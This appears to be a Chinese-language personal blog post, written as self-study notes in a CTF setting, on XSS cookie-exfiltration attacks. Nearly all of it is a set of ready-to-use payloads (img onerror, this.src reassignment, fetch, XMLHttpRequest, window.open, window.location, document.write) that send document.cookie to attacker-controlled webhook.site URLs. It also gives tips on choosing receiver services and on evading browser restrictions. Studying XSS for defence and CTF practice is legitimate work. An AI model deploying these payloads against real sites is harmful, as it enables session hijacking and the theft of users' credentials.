xss外带cookie攻击
写在本文之前:本文为小灯自主学习xss外带内容的总结与思考。
一.概念
XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息。攻击者通过已有的xss漏洞在浏览器注入恶意代码,并将受害者的 Cookie 数据上传到攻击者控制的服务器上,这就是xss外带cookie攻击的核心。
二.攻击姿势
xss外带cookie攻击姿势与xss基本无异,区别在于在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址。
对此,我们小灯可以尝试使用一些CTF常用的Cookie接收平台:
- RequestBin (requestbin.com)
- Webhook.site (webhook.site)
- Beeceptor (beeceptor.com)
个人常用2,也可使用云服务器来接收cookie或者python进行(可能需要内网穿透)。
接下来以webhook的临时URL为例简单说明一下xss外带的攻击姿势:
1.<img 标签
1 | <img src=x onerror="document.write('<img src=https://webhook.site/9da61079-3b72-49a3-a304-def16d136edb/?c='+document.cookie+'>')"> |
1 | <img src=x onerror="window.open('https://webhook.site/9da61079-3b72-49a3-a304-def16d136edb/?c='+document.cookie)"> |
这里提一嘴:
浏览器的跨域资源共享可能存在限制(CORS),所以有些时候xss外带对自己有效而对目标无效时可能是因为浏览器的安全策略可能阻止了向webhook.site发送数据,这时就要考虑隐蔽点的xss:
1 | <img src=1 onerror=this.src='https://webhook.site/9da61079-3b72-49a3-a304-def16d136edb/?'+document.cookie> |
1 | this.src = 'xxx' |
this 指向当前的 <img> 元素本身,
直接修改这个图片元素的 src 属性,
这是一个赋值操作,不是新建请求,更不容易被CORS阻止。
fetch()方法
fetch() 允许 JavaScript 发送 HTTP 请求。如果 credentials: 'include',则可以携带当前站点的 Cookie
1 | fetch('//webhook.site/xxxxxxxx/?cookie='+document.cookie) |
window.open方法
window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象
例如,以下代码将会在新窗口或新标签页中打开指定 URL:
1 | window.open("//webhook.site/xxxxxxxx/?cookie="+document.cookie); |
XHR方法
XMLHttpRequest 是浏览器提供的内建 JavaScript 对象,用于在不刷新页面的情况下与服务器进行 HTTP 通信。它是早期 AJAX 技术的核心
1 | <script>var xhr = new XMLHttpRequest(); |
XMLHttpRequest 对象
1 | <script>var xhr = new XMLHttpRequest(); xhr.open("GET", "//webhook.site/xxxxxxxx/?cookie="+document.cookie, true); xhr.send();</script> |
window.location 对象
window.location 可以把浏览器重定向到新的页面,此时可通过url携带cookie;使用方法例如
1 | <script>window.location="//webhook.site/xxxxxxxx/?cookie="+document.cookie;</script> |
下面是window.location 对象中可用于跳转的方法
window.location.href
1 | window.location.href = "//webhook.site/xxxxxxxx/?cookie="+document.cookie; |
window.location.assign(url)、window.location.replace(url)同上
document.write方法
利用 document.write 写入某些含有src属性的标签,并将Cookie拼接到目标URL中,作为参数发送到指定的 IP 地址和端口
1 | document.write(`<img src="//webhook.site/xxxxxxxx/?cookie=${document.cookie}" >`) |
Leave a comment